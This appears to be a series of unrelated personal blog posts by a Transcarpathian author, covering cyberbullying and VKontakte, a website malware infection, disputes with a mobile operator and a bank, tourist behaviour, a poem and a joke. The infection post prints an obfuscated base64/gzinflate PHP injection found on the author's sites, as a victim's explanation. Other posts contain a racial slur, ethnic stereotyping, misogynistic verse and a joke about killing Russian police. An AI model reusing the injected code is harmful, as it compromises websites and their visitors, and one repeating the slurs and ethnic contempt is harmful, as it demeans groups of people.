Эта статья просилась к публикации уже давно. Потому что она касается не только девушки, о которой здесь будет идти речь, но и об ответственности владельцев социальных сетей за эти монстроподобные образования. И о том, что интернациональная сеть Интернет, где зло и подлость должны наказываться независимо от границ, уже начинает разграничиваться по территориальным признакам. Имею в виду Россию и Украину.

  Речь идет об неоказании помощи, что даже в уголовном кодексе квалифицируется как преступление. В сети Интернет нет ни УК, ни гражданского кодекса, но общечеловеческие законы же ведь никто не отменял?

   Ну так вот. Почему пользователей соцсети Вконтакте можно назвать «идиотами в квадрате» вы сможете прочитать в следующей статье, а сейчас – только факты и вопросы, на которые хотелось бы получить ответы.

   Имя девушки из этических соображений приводить не буду. Но в этой истории мне пришлось принимать непосредственное участие, так что фактам, которые здесь изложены можно верить. Потому что я отвечаю за каждый из них.

  Итак. Ко мне обратился отец несовершеннолетней (13 лет) девушки из Тячевского района Закарпатской области с просьбой помочь в сложившейся ситуации. А ситуация была просто отвратительной. Его дочь является пользователем соцсети Вконтакте, общается со сверстниками и имеет много друзей. И тут ей пришла ссылка от  непонятного «друга», который создал дубликат ее странички и поместил туда ее фото.

   Самым культурным словом на этой странице было «сука» (искренне извиняюсь, но вынужден об этом говорить). Все остальное – гадкие и безграмотные дерьмовые слова, в которых наблюдалось только желание оскорбить побольнее. Даже ее фото, которое было опубликовано на этой странице, было обрисовано матерными словами. И – самое главное – ссылки на эту страницу были разосланы всем ее знакомым. И через несколько дней вся школа, где она училась, побывала на этой страничке, даже были сделаны ее печатные копии для «безинтернетных» любопытствующих.

  Теперь представьте, как было этой девушке приходить в школу, когда за твоей спиной шепчутся, а в лицо тебе улыбаются? Или откровенно смеются? Или пробуют повторять при тебе некоторые из «слов», которые были на той страничке?

  Первая реакция, которая последовала с ее стороны – обратиться в техподдержку Вконтакте. Благо, там же на страничке есть такая ссылочка. Но вот интересно – техподдержка Вконтакте работает, скорее всего, на общественных началах. И ее не очень напрягают обращения подобные «меня оскорбили». Короче – за три дня никакой реакции. Друзья девушки, которые искренне были возмущены случившимся даже пробовали писать на стену автору странички, чтобы он ее убрал. Но – тоже безрезультатно…

   Когда меня попросили вмешаться, дело не казалось слишком легким, так как вроде все уже было попробовано и ничего результата не дало. Даже с учениками школы были проведены беседы с просьбой прекратить травлю девушки. Но… страничка продолжала висеть. И позорить даже не ее, а того, кто придумал и написал грязные слова на ней.

  Первое что я сделал – обратился в настоящую техподдержку Вконтакте. Для тех, кто не знает этого мейла – support@vkontakte.ru Потому что, оказывается, Вконтакте имеет внутреннюю техподдержку, которая держится на энтузазистах и внешнюю, которая решает вопросы, связанные с социальной сетью.

  К чести работников саппорта Вконтакте могу сказать, что страницу закрыли после моего обращения – как представителя интересов пострадавшей девушки – на следующий день. Особую благодарность хочу высказать Даше Дудиной, которая ответила на мое письмо и с которой я вел переписку в дальнейшем. И мне очень хочется сказать: «Я благодарю Вас, Даша, за компетентность в решении проблем, понимание и человечность!»

  Оставался еще один нерешенный вопрос. Отец девушки написал заявление в прокуратуру Тячевского района с просьбой принять меры к установлению личности злоумышленника, который оскорбил честь и достоинство его дочери. С технической точки зрения нужно было только попросить информацию об IP-адресе злоумышленника, который сохранился на сервере Вконтакте. После этого установить его личность было делом достаточно легким, так как работал он через украинского провайдера.

   Когда я сделал запрос в техподдержку соц. сети Вконтакте о возможности предоставления подобной информации, то мне с охотой пошли навстречу. Вот ответ техподдержки:

«К сожалению, информация о пользователе может быть предоставлена нами только по запросу правоохранительных органов или суда. Мы готовы сотрудничать, запрос может быть отправлен электронной почтой на support@vkontakte.ru или почтой на юридический адрес сайта»

  Как видите, техподдержка попросила только скан официально заверенного документа от милиции Тячевского района, для того, чтобы иметь основание для предоставления такой информации. А поскольку заявление было подано в прокуратуру, то я отослал отсканированный запрос прокуратуры, в котором содержалась просьба о помощи в расследовании.

  Тут уже начинается и сама история. Точнее – заканчивается логика.

   Ни на одно из моих последующих писем не было получено ответа. Было понятно, что техподдержке Вконтакте дали указание приступить к «отмораживанию клиента» тупым молчанием. Какие мотивы при это двигали ответственным товарисчем, давшим такое указание для меня остается загадкой до сих пор. Ведь IP-адрес не является конфиденциальной информацией и проставляется даже в письмах электронной почты, не говоря уже о входах на сайты. Это информация техническая, позволяющая установить провайдера, через которого работал интересуемый человек.

  Итак, с 25 мая по 3 июня было отослано 6 писем с просьбой о помощи в предоставлении информации по злоумышленнику. На шестое письмо был получен ответ. Но сначала я приведу текст самого письма:

«С адреса электронной почты (указан мейл) 23 мая Вам был послан скан запроса Тячевской прокуратуры, по поводу предоставления данных аккаунта, на котором публиковалась оскорбляющая человеческую честь и достоинство информация.
Скан запроса был отправлен по требованию техподдержки Вконтакте.
 После этого на протяжении десяти (!) дней Вам было отправлено 6 писем с просьбой сообщить, на каком  этапе находится выполнение запроса прокуратуры Украины.
Ответа получено не было. В последнем письме, отосланном вам, был прямой вопрос – что является препятствием сотрудничеству и в курсе ли вы, что подобное поведение является прямым нарушением законов УК России и соглашений о международном сотрудничестве.
Перед тем, как делать запрос в прокуратуру России по поводу возбуждения дела против администрации Вконтакте и перед тем, как информация о подобном поведении будет опубликована в блогах России, Белоруссии и Украины, и отправкой писем лицам, от которых зависит деятельность соц. сети Вконтакте хочется спросить:
  Это преднамеренное игнорирование нашего обращения?
Или возникли   обстоятельства, препятствующие выполнению нашего запроса?
Мы всегда готовы к сотрудничеству и очень надеемся на понимание.
Но если администрация соц. сети Вконтакте взяла курс на игнорирование запроса прокуратуры Украины (по непонятным нам причинам), то нам не остается другого выбора, кроме принятия адекватных мер.
Это письмо является последней попыткой найти общий язык и толерантного решения возникшей ситуации.»

  И только после этого был получен ответ от господина Лаврентьева, зам. ген. директора ООО «Вконтакте». Я тоже публикую его без сокращений:

Subject: Fwd: Неоказание помощи в расследовании

«Уважаемый Виктор!(прошу прощения что так обращаюсь)

Но вaши угрозы мне совершенно непонятны,т.К.
1. Прокуратура Украины-это правоохранительный орган ДРУГОГО государства,поэтому запросы могут быть исполнены ТОЛЬКО через запрос прокуратуры России или МВД России.Другого не дано.
2.Я не нарушаю законов СВОЕЙ страны,а Украина,хоть и дружеское государство,но не мое, поэтому существует межправительственное соглашение,согласно которому общение идет только через правоохронительные органы на высшем уровне.

С уважением Зам генерального диретора ООО»ВКонтакте»
Лаврентьев В.П.»

   Помимо кажущейся правильности всего написанного, абсурдность такого ответа тоже очевидна. Ведь речь идет о помощи в расследовании, проводящегося на территории Украины, причем речь идет о жителе Украины, на что имеется официальный запрос прокуратуры. И сведения, которые просят предоставить, не являются ни секретными, ни конфиденциальными и не затрагивают интересы России ни в какой мере. А вот интересы ООО «Вконтакте» они затрагивают напрямую.

  Иначе почему бы стараться скрывать информацию, касающуюся злоумышленника из Украины? Да обратись я к владельцу любого западного сервера, если факт нарушения доказан, то он сочтет за радость помочь в расследовании. А вот ООО «Вконтакте» требует подачи запроса от Генеральной прокуратуры Украины к прокуратуре России, чтобы сообщить четыре тройки цифр, которые помогут выйти на украинского провайдера, предоставляющего доступ в Интернет.

  В чем фишка? Наверное, уважаемому г-ну Лавреньтеву, пишущего письма в СМС-чном стиле (что для зам. директора весьма удивительно) хочется одновременно решить несколько вопросов:

- показать, что никто ему не указ;

- используя формальную отмазку, «поставить на место» какую-то там прокуратуру, к тому же еще и украинскую;

- считая, что никто ничего ни ему ни ООО «Вконтакте» не сделает, просто «замять» это дело;

- удовлетворить собственные амбиции, на что показывает стиль, суть и грамматика его ответа.

   Теперь вопрос к лицам, которые являются акционерами ООО «Вконтакте» –  Mail.ru Group, Вячеславу и Михаилу Мирилашвили, Павлу Дурову, Льву Левиеву: КАКАЯ ПРИЧИНА ТОГО, ЧТО ООО «ВКОНТАКТЕ» ОТКАЗАЛО В ПОМОЩИ УКРАИНСКОЙ СТОРОНЕ?

  Что такого секретного было потребовано, что лишь после угрозы обращения к администрации Российской Федерации был получен ответ, который ответом назвать тяжело?

  И еще вопрос. На этот раз – лицам, власть придержащим в России. ЕСЛИ ПРАВА ЧЕЛОВЕКА ОДИНАКОВЫ ВО ВСЕМ МИРЕ, ТО ПОЧЕМУ ПРИ ПОПУСТИТЕЛЬСТВЕ АДМИНИСТРАЦИИ СОЦИАЛЬНОЙ СЕТИ «ВКОНТАКТЕ» ЭТИ ПРАВА МОГУТ БЫТЬ БЕЗНАКАЗАННО РАСТОПТАНЫ?  Откуда у ООО «Вконтакте» взялась такая уверенность в своей безнаказанности?

   Очень бы хотелось ответы на эти вопросы получить. И от читателей блога и всех неравнодушных людей - меня интересует ваше мнение.

    Кратко и по теме. В очередной раз прокатилась (или только началась?) эпидемия заражения индексных страниц сайтов вирусом типа Trojan.JS.Iframe.wq. Что оно за тварь такая, разбираться не хочу, достаточно, что Касперский блокирует подобные сайты.

  Если они чужие, тогда все-равно Но если оказывается, что твои сайты заражены Trojan.JS.Iframe.wq, тогда очень желательно сесть и подумать, что же собственно происходит. Знаменательно, что в подобных случаях начинают грешить на хостера, мол, увели базу данных, пароли и прочая и прочая и прочая. Я не хочу с этого начинать, просто объективно расскажу о своих предположениях.

  Предположение о том, что заражаются сайты, работающие с Сапой (платное размещение ссылок), причем роботом этой же самой Сапы, тоже смысла не имеет, потому что заражению подверглись не только сайты, размещающие ссылки, но и абсолютно чистые в этом отношении сайты. Даже те, где стояла только одна индексная страница от хостера и никакой информации больше не было.

  Что касается заражения, то на зараженных страницах типа index.php размещался участок кода, закодированный в Base64, привожу его полностью, как он был в моем случае:

#a8998e#
echo(gzinflate(base64_decode(«7VhRb5swEP4rGaoEHm2GARMQ9V665/Vhe4vyQAJpmFrSgdu0qvLfBz5TzoW0TdNp0zQp2PH5fP7ufP6O5LRalPm1+DznRb

YZLW+KhcjXhUUeykzclMXIjbdxvrQ+2HPyTZR5cTG+LtdiLe6vs7HIKsHNlWmbSXlmxst1aeWjvBgdcXPurzwxLzzfJPXqnHNTZLVeJUxyxY+m+SwW5f1Ds+X5/E

e2EBYZb7JV/bFIvF0kYrGyfpKHquKGEW8b1U1epOvN1Gys3DY7Xpozy0yqNKlMglZwQDk1lqVhG+urM8O+qvvUsOuls3ibSj+/JCKrd0rdbpSOb5PLm+x8aZETl8

QACzlbb8VrE00wHrZyxJsxSXi6XtxcZYWYGot6y2bbrH6S+hHq+3fV3ynZ1wZa/aRSXvvhudQkjelknCYi4bwWkDt+Qj9a6Ulawyn49OTOnhy3DXU86Jym86ANmz

YKYSKSA1CmDGRyFEUwAD3qN53vg4wiBZgJ1HYBXrrTDqUSVqAGUiN0pTZDO0wCLELWwAUPJAF2JEQWYd4D67L1wSDt5NSlx1rEBsJGqbsDh5pRcKSIPTXlel3o21

gEKAjKI2c3mkOOik4QztYt0NBCKedZuI/zCjL1sJqcZyj81HG1g1edXMtkHHzWtbAesMN3JfFQWqhIPHa0l3qg3mIO8SBACdKiAYfbyHo4fC6Ktq/FgGmxCvEiR3

NcjgKKBlqSA2KG8pPJaeYiiddluh89lfth1yoJugxgDfTVjXBwaijntesJ0PEx+pMdVkC1zUD9mPDJv8oY9bQkiXoHq2UWDbSk9rA72pQT9LNfWWcBhopjoVp8td

hEO9+ov6+eUY8ZGnZbwdlHgbZWpwXWu6RsiF0dHN0AJcVEQxL1LxxSg1AGTnf9fbYPCcBKoI9nCRCTq6NRWIgv3+7wtfn2ZmbeQfUUFxm1yukVTYYo7wA+jjAdg1

rUP+79iikuhq/m7snTA1NLfL9XmtoK7w3xuNu/dAP5q0EcKBiKFtz/ZeNvLhsvZMsztN3qvQdhD7xbvEDboHwQ8DcyPsL6Jt4/HPkzJQMX5OCd4jRUc/be5zfRzk

uvO30SGnhP+SOM+dp3rH09eMffGf/ET0JVQBi+89TpIQaLAetTUOts2CFq3yJ2vRvN4P8Q7sT5aTG+zIoLsYpz2yZVZfPKym6TS8soDNuY5nUzMwiJpayqSHz6Sf

0r8ws=»)));
#/a8998e#

Если подобное было и раньше, и объяснялось тем, что проникший на компьютер троян использовал существующие ftp-подключения для модификации страниц index.php и index.html, то сейчас обработке подвергаются все страницы, написанные на HTML  и ключевые страницы сайтов на движках Joomla, WordPress и DLE.

  Так, для Вордпресса код вируса был добавлен на страницы  wp-login.php и wp-blog-header.php (не считая индексной). Кроме того работа по внесению вредоносного кода была проделана во всех папках Вордпресс, так что проще было его перелить заново, чем искать модифицированные страницы.

  Теперь основное. Прошлый раз причиной подобного заражения индексных страниц был вирус, проникший на компьютер и использовавший программу CuteFTP для модификации. На этот раз вируса не было, а заражение прошло. Посольку пароли доступа к хостингу я не считал нужным менять, то объяснения очень просты: существует база данных взломаных сайтов, которой пользуются злоумышленники при запуске скрипта, модифицирующего страницы сайтов.

   Кстати, ссылки, которые внедряются в HTML-страницы, ведут на сайт a.cf-google-analytics.ru/main.php, интересно, регистратор знает, что этот сайт используется в целях распространения вредоносных программ?

   В закарпатських онлайнових мас-медіа почала мусуватися (чи тусуватися?) тема: «Лопухово лопухнуло і журналістів, і гостей Брустурянської кедровиці». Справа в тому, що у святі під назвою «Брустурянська кедровиця», яке підготовано було головою села Фіцаєм Михайлом Михайловичем прийняв участь гурт афро-українців, який був запрошений сюди для екзотики. Маю на увазі, що більшість жителів села живих … гм… африканців ще в очі не бачила.

   Та й грали вони свої мелодії, на своїх інструментах, нікому проблем не створюючи, на втіху жителям села, але ж мала трапитися неприємність. Ну, навіть не неприємність, а непорозуміння. Хтось у жарт назвав цих … гм… африканців (слово niger у Америці заборонено, тому боюся його вживати) «чорнобривцями». Саме слово, як мені здається, досить гарно передає зміст і колорит афро-українських гостей, тому воно там і прижилося. На фестивалі «Брустурська кедровиця».

  Ну а ЗМІ місцевого (і не тільки) розливу дружно вжили назву «Чорнобривці» при описанні свята, на що і так само дружно попалися. Виявляється, в Україні є гурт «Чорнобривці» з продюсером Юрієм Шолохом, який тут же написав спростування, бо його «Чорнобривці» в Лопухові-Брустурах «не виступали».

   З цього і була піднята хвиля на рівному місці, з якої дуже хочеться посміятися. Що, шановні українці, слово «чорнобривці» вже всерйоз заангажовано, запатентовано і закріплено навіки за гуртом не… гм.. афро-українців під продюсерством Юрія Шолоха? Чи його ще можно вживати в звичайній мові без того, щоб не пояснювати письмово, що порушені чиїсь права?

   Чиї права порушені? Чи може мені від імені українців подати позов за використання нашого національного слова, що означає нашу національну квітку групою так званих «афро-українців»? Які до чорнобривців мають таке ж відношення, як я до Лумумбії, Замімбії і Нігерії разом узятих?

   История реальная и нестрашная, можно было бы ее и не рассказывать Но! Все большее количество сайтов, выростающих как грибы в Интернет, дают повод предупредить их владельцев о потенциальной опасности, связанной с так называемыми «веб-мастерами». Очень часто это просто школьники, которые научились регистрировать аккаунты на Юкозе и понятия зеленого не имеют о том, что такое коммерческий сайт.

   Речь идет об одном из сайтов частных усадеб зеленого туризма, которых сейчас развелось огромное множество. Так как народ понял, что рубить бабки на туристах, которым нужно просто переночевать и которые не требуют марципанов к ужину – простое и выгодное занятие. В этом случае речь шла о серьезном пансионате, который может предоставить и качество обслуживания, и супутствующие услуги – трансфер, экскурсии, питание, развлечения.

   Так вот, этой приватной садыбе (по-украински) был создан адекватный сайт, страниц на пятнадцать, где в наглядной форме, с фотографиями рассказывалось о том, как можно отдохнуть в горах Карпатах, точнее – в Закарпатье. Вплоть до меню и стоимости экскурсий на полонины закарпатских гор.

   Заказчику сайт понравился, но … идилия длилась недолго Проблемы начались с его дочери, которая начала требовать «пароль к сайту». Дочери в абсолютно доступной форме было объяснено, что сайт, написанный на HTML вручную абсолютно не похож на ее личную страничку Вконтакте. И если она выучит, что такое «доступ по фтп», то пароль ей можно дать, но от этого ей лучше не станет.

  Дело в том, что изначально доступ к сайту для заказчика не планировался. Планировалось оперативно вносить изменения, например к встрече Нового года, изменению цен и т.п. Да и зачем ему (ей) доступ через админпанель? Что они там будут менять или добавлять?

  Это похоже на то, как будто к водителю трейлера начал приставать пассажир, умеющий ездить на велосипеде и просящий немного порулить, потому как «он в этом понимает» И куда послать такого пассажира?

  Следующая подача была вообще интересной. Точнее – просьба. Точнее – приказ. Звучал он лаконично: закрыть сайт, потому что хозяину сделали другой. С паролем

  Когда от него был получен адрес сайта, оправдались наихудшие предположения. Сайт был открыт на Юкозе, где (к их чести) полным-полно беслатных шаблонов с доступом через админку. То есть – через пароль. Но сам сайт – это … непередаваемо! Во-первых, он был сателлитом сайта об отдыхе в Карпатах, где собраны предложения от разных хозяев. Кроме того, его наполняли краденной с других сайтов информацией. Кроме того счетчик показывал больше тысячи просмотров страниц, при 1-2 посетителях в сутки.

   И еще… и еще… и еще… Да уже и вышеперечисленного достаточно, чтобы понять, что «сайт с паролем» обречен на пребывание в первой десятке сзади выдачи поисковой системы. И сделали ему это чудо всего за … 100 долларов. С минимумом информации, орфографическими ошибками, да и просто вопиющей неграмотностью. Например, название «У Иосифа» было написано «У Ёсипа» Большего и не надо.

  Поэтому хочется сказать – ленивый дважды делает, а скупой платит дважды. Этого закона еще никто не отменял )))

Эта история совсем свежая. И касается она действительно пакета «Новый безлимитный интернет» от провайдера мобильной связи LIFE И настолько она неприглядная, что рассказывать о ней совсем не хотелось бы, просто хочется, чтобы люди знали, что же имеется в виду под названием «Безлимитный интернет» LIFE

Суть ситуации в том, что когда в горном поселке, где нет «наземных» провайдеров понадобилось подключить интернет от мобильного оператора, то выбор пал на LIFE . Так как «Киевстар» со своим мобильным интернетом хоть и был первым, но обилие киевстаровских модемов на один ретранслятор резко уменьшили скорость подключения.

А Лайф как раз поставил в тех местах свой ретранслятор, и надежды были достаточно большими. Нужно сказать, что скорость была достаточно высокой, на уровне 200-256 кбит/с, так что на протяжении трех недель было использовано 10 Гб трафика. И вот тут возникла очень интересная ситуация – при попытке подключиться реальная скорость соединения составляла порядка 56 кбит/с, то есть упала в четыре раза.

Небольшое уточнение. Есть тариф «безлимитный интернет», на котором указано, что лимит трафика составляет 10Гб. А вот тариф «НОВЫЙ БЕЗЛИМИТНЫЙ ИНТЕРНЕТ» таких ограничений не имеет. Вроде.

Звонки операторам Лайф не дали ничего, они  некомпетентны в меру своей ответственности, поэтому выдвигали версии: «плохой модем», «перегружена сеть», «ремонт ретранслятора» и т.п. Обращение через форму поддержки клиентов на сайте LIFE тоже не дало ничего – из трех написанных писем не получено ответа ни на одно.

При попытке онлайн-чата с оператором техподдержки окно чата простояло открытым три часа, ни на один вопрос не было получено ответа. Интересно, что на странице контактов есть предупреждение – «не употребляйте нецензурные слова при общении с оператором, иначе он не будет вам отвечать». Могу сказать – я не употреблял, но очень хотелось, особенно через полчаса тупого сидения в ожидании, ответит ли тебе кто-нибудь вообще.

А знает ли LIFE , что такое отношение к клиентам называется ХАМСТВОМ? И я отвечаю за свои слова. Скажу даже больше – если не случится чуда, я не буду пользоваться пакетами ЛАЙФа, какие бы бесплатные примочки они там не предлагали. Просто потому, что по одному такому факту можно наперед сказать – проблемы клиентов этого оператора просто не интересуют.

Пришлось прибегнуть к откровенному прессингу. После того, как был задан вопрос: «Почему урезали скорость по такому номеру?» – и при попытке оператора отмазаться «ремонтом ретранслятора» ему было поставлено в известность, что рядом работает такой же модем и никаких проблем нет. При второй попытке оператора перевести стрелки на модем, ему было заявлено, что карточку пробовали ставить в мобильный телефон с тем же результатом – исходящая скорость 58 кбит/с, входящая – 166 кбит/секунду.

И вот тут только оператор «раскололся». Слова его прозвучали так: Если клиент израсходовал 10 гигабайт трафика, то мы понижаем ему скорость до 64 кбит/секунду. Получай, деревня, трактор!!!

Для тех, кто не в теме могу объяснить, что скорость закачки при таком соединении составляет 8 килобайт в секунду. То есть, чтобы закачать 1 Мегабайт информации нужно ждать две минуты. А десять мегабайт нужно закачивать почти полчаса…

Я не буду ничего говорить про качество услуг оператора LIFE . Я не буду предъявлять им претензий за откровенную ложь и тупые попытки свалить вину с больной головы на здоровую.

Я просто предупреждаю Вас: Осторожно – НОВЫЙ безлимитный интернет от LIFE !

Небольшое фото по теме сервиса «определить IP – адрес пользователя»

  Мда… угроза, конечно, страшная… Придется свой этот… айпи прятать…

Эта история не придумана. Я в ней участвовал в роли наблюдателя. И речь идет не о региональных стандартах, а о банке «Русский стандарт». Точнее – предупреждении о том, что существует такой банк Начнем?

Восемь часов вечера. Районный городишко в полудреме. У знакомого возникает необходимость срочно перевести на карточку Привата вымогателю 2000 гривен (около 125 долларов). Банки закрыты, терминалов оплаты в городе нет. Что делать?

Принимается решение ехать в соседний райцентр, под названием Хуст, в котором (по слухам) есть работающие терминалы. Приезжаем. Находим такой терминал в магазине, именуется он никак, принадлежности никакой, но когда выбирать меню, появляются картинки с логотипом «Русский стандарт». Я о таком вообще не слышал, но ладно…

Мой товарищ набрал уже номер карточки, на которую хотел перевести деньги и уже собрался кормить терминал двухсотгривенными бумажками, как вдруг ему пришло в голову спросить друга, работающего в Проминвестбанке, не дублируются ли номера кредиток в разных банках. Чтобы платеж не ушел «налево» Друг его успокоил, предупредил только о бОльшей комиссии, но благодаря этому разговору мы от терминала отошли.

Начали искать другой, Приватбанковский. Такого не оказалось, но вместо него в супермаркете нашли такой же терминал «Русского стандарта». Поскольку мотаться по городу уже надоело, знакомый решил проплатить здесь. Снова набрал номер карточки Приватбанка (терминал даже и не пикнул), всунул в него 2000 гривен и поднял выплюнутую терминалом квитанцию.

Вот тут меня уже самого заинтересовала ситуация. Поскольку на экране красовались номера телефонов поддержки я спросил: «А не позвонить ли нам к оператору и узнать, куда же ушли деньги?» 

Сказано – сделано. Звонить правда пришлось мне (инициатива наказуема исполнением), но в результате беседы выяснилось, что платежи терминалы принимают только на счета «Русского стандарта». А если совершен ошибочный платеж, то нужно звонить по этому же номеру после девяти утра.

Радостные лица кругом

Дальше рассказываю со слов знакомого. Он позвонил после девяти, ему объяснили, что за платежом придется ехать персонально. Причем, в Украине у них два отделения – Тернопольское и в г. Львове. Львов ближе, однозначно )) А на вопрос, почему терминал не предупреждает об ошибочности перевода, ему объяснили, что терминалы ставит совсем другая организация, с которой они ничего не имеют и которая просто пользуеется их счетами и гордым именем «Русского размера» (почему-то меня пробивает на такое написание «Русского стандарта» ).

Львов. Отделение «Русского стандарта» искалось два часа, нашлось на пятом этаже какого-то универмага, лифты туда ходят только с десяти часов (как добираются служащие – неизвестно). Там знакомому объяснили (в который раз), что «Русский стандарт» ответственности за «неправильные» переводы не несет (в очереди ждали еще три гражданина, которые такие переводы совершили).

И если знакомому нужны деньги, то придется ехать в Тернополь. Там отделение с балансом (с деньгами). А они только могут принять заявление и на протяжении 2-3 недель знакомый получит свои деньги на свою карточку. Вот так.

И можно было бы закончить на этом, если бы не вопрос: Почему именно через такой большой срок – 20 дней? Когда срок возврата при личном визите должен быть 2-3 дня?

А решается все просто: банк получает «ошибочные» переводы, пользуется деньгами на протяжении установленного законом срока о возвращении (как раз максимум 2-3 недели) и срубив свои проценты возвращает клиенту его деньги. Которые он имел неосторожность засунуть в терминал «Русского стандарта».

Так что – осторожно! Терминалы банка «Русский стандарт!!!»

Спустя полтора месяца. Денег нету до сих пор. На каждодневные звонки в так называемом ЗАО «Русский стандарт» кормят «завтраками». Поскольку нарушен срок возврата платежей – до трех недель, то придется подключать Нацбанк Украины для решения вопроса о мошеннических операциях, проводимых ЗАО «Русский стандарт».  И не потому, что здесь замешано что-то личное. Просто считаю, что мошенникам не место не то, что среди бизнесменов, а и среди людей вообще.

   Недавно пришлось пожить немного в Железном Порту (Херсонская область, Украина). Ну, море, волны, песок, воздух, чайки – это все давным-давно уже опоэтизировано, поэтому повторяться не буду. Хоть и хочется

  А вот, поскольку проживалось в чем-то типа частного пансионата, то за время проживания у меня сформулировался ответ на вопрос, который задан в оглавлении поста. А именно – почему же все-таки русских на курортах не любят? Особенно зарубежных? Кстати, хочу сказать, что в Железном порту в этом отношении почти порядок. Почти. А вот ответ хочется дать, может, кому-нибудь пригодится.

  Вопрос этот был неявно задан не единажды и не в одном форуме, где обсуждались условия отдыха в Турции, Египте, в Греции, на Кипре и во многих других местах. Особенно улыбнуло замечание одной туристки, побывавшей в Анталии: «Русских возле стойки обслуживают после всех, даже после ИТАЛЬЯНЦЕВ!» Не знаю, чем ей так не угодили итальянцы, или она считает их людьми последнего сорта?

  Но, ближе к теме. Так вот, когда куда-нибудь приезжают русские (имеется в виду русскоговорящие), они сразу начинают осваивать территорию. Это что-то сродни американской экспансии, когда чужая территория объявляется «зоной интереса» и становится почти «родной». Причем, у русскоговорящих украинцев это еще более заметно, чем у настоящих русских.

   Под «освоением» я имею в виду не выяснение, где что находится. Так делают все. Русских начинает быть видно и слышно, даже если их доля в числе отдыхающих небольшая. Вместо того, чтобы вести общение вполголоса, на расстоянии нормальной слышимости, они общаются на расстоянии нормальной видимости На полную силу голоса, так, будто бы всем окружающим было интересно, куда они пойдут, что они купили или как там было вчера в том баре )) 

  По рождению я словянин.  И все словянское мне не чуждо. И к русским я отношусь нормально. И блог веду на русском Но мне претит, когда идет диалог из одного конца супермаркета в другой типа:

 - Валя!
- Что?!
- Ты себе купальник подобрала?
- Еще нет!
- Так иди сюда, здесь очень миленькие!!!

   Особенно большую заботу проявляют русскоговорящие туристы о своих детях. Поскольку на детей часто внимания не хватает (сил и желания тоже), то их выгоняют во двор с пяти-шести часов утра со строгим указанием «идти играть!» Родители ведь отдыхать приехали, правда?

   Но при всем этом периодически проверяется наличие родного чада в пределах слышимости криком с террасы: «Вова, ты где?! Не смей далеко заходить!» Причем замечания на тему превышения децибел лучше не делать, потому что большинство русскоговорящих отдыхающих склочны по натуре (к сожалению).

   Возможно они понимают, что что-то делают не так. И не нужно бы этого делать вообще. Но с одной стороны успакаивает мысль о том, что «меня здесь никто и так не знает», а с другой – «не понравится, поедем в следующий раз в другое место». А поскольку совесть хоть глубоко спрятана, но есть, то ее слабый голос стараются заглушить громким спором с соседом. На тему: «И кому какое дело, как я отдыхаю?»

   Если при этом еще ведется и неумеренное потребление алкоголя (а это бывает очень часто), то интересы рядом живущих соседей просто игнорируются. Ну не просто, а нагло игнорируются. Нельзя же тихо придти в номер в три часа ночи и лечь спать? Так будет неинтересно ни себе ни соседям Поэтому возвращаться с ночных бдений нужно весело, с воплями и криками, а потом до пяти утра проводить разборки и выяснение отношений в своем номере с открытыми окнами и дверями. Для лучшей слышимости

   Хочется сказать, что если Вы оплатили условия проживания в данном месте, то вы оплатили только проживание. Ведь Вы же не оплатили право нарушать нормы приличия, этикета и морали? Вы не купили право мешать отдыхать другим так, как они это хотят? Вы не купили это место лично для себя?

  И как было бы замечательно, если бы при приезде на незнакомый курорт вместо попробовать его изменить «под себя», подобные люди просто сели бы на ж… и огляделись вокруг. Чтобы понять, что здесь делать можно, а что нельзя. Как можно себя вести, а как не рекомендуется. И, желательно, не только здесь, а у себя дома тоже. Хотя бы для того, чтобы ваши дети были ближе к культуре, чем …

  Хотя бы дети!..

Это не мои стихи. Но… зацепило…

Слепой, безропотный народ,
Безмолвный и трусливый,
Ты – превращён в безмолвный скот,
На паперти,  плаксивый.

Тобою правят упыри,
Продажные халдеи,
Наместники, лишь здесь – цари,
А в мире, просто – Геи.

Ты – очернённый клеветой
Иуд, пред ними ж каешься,
И от истории своей,
Слюняво отрекаешься.

Поверив, вкрадчивым словам,
Ничтожеств и предателей,
В войну стрелявшим в спину нам,
Отмытых демократией.

Так больно за детей твоих,
Что жить в стране останутся,
Отцы загонят в рабство их,
Им лишь долги останутся.

Невесты – молодость, краса,
Вдруг, выгоду узрев,
Всё ищут рай в чужих краях,
Своих мужчин презрев.
Где, женщин наших верных, дух?
Товар – любовь и грация?!
Вы превратились просто в шлюх!
Вымирает нация!

Всё гимны славные поём,
И бредим о Европе!
На деле, с головы гниём,
Через всё тело, к жопе!

Так, возлюби себя, Народ!
Не будь так подневолен,
Гони метлой продажный сброд!
Я так тобою болен…

 Автор неизвестен. Стихотворение найдено случайно. За любые сведения буду благодарен, пишите в комментах

 Поскольку оригинал анекдота на украинском языке, привожу его так, как есть. Исправлены некоторые ошибки. А так – действительно, от души

   Їде гуцул на автівці, на повній швидкості. Дивиться ДАІшник стоїть. Не тормозить, думає, а не гріх, як зіб’ю, бо то москаль-москалем. Збив.
   Завіз тіло на цвинтар, дає старому гробареві пляшку оковитої, каже:
- Поховайте вуйку, бо воно вистрибнуло саме на дорогу, я їй-богу, не винний.
- Та чо ж не поховаю,синку.
   Так і домовились. Їде далі гуцул. Зайшов у смак, ще одного такого збив. Приїжджає з тілом на цвинтар, дивиться, гробар за столиком сидить, вже фляжку допиває. Гуцул тихо кладе трупа на землю, каже:
- Слава Йсу.
   Дід обертається.
- Слава навіки!
- А шо, діду, закопали того?
- Та закопав..
- Та як закопали, як во він лежит?
- Йой, синку, забув видно. Старий вже я. Зара закопаю.
   Гуцул подякував і пішов. В ДАІ б’ють тривогу:
- Шо ета такоє! Гдє наши люді? Паєхать, правєріть!
   І послали одного. Приїжджає, дивиться, всюди тихо, темно, тільки на цвинтарі лямпа хитається і чути як гробар лопатою цьвьокає. Приходить на цвинтар, дивиться, а старий лопатою землю прихлопує на свіжій могилі. Підходить до гробаря і каже:
- Ізвінітє, а што ета ви так позна тут дєлаєтє?
   Старий гуцул обертається, замахується лопатою і б’є що є сили:
- ТА ТИ КУРВО ВЛЯЖЕШСЯ ЧИ НІ??????!!!!!!

   За лексику конечно сорри, но понравился )) деда понимаю на все сто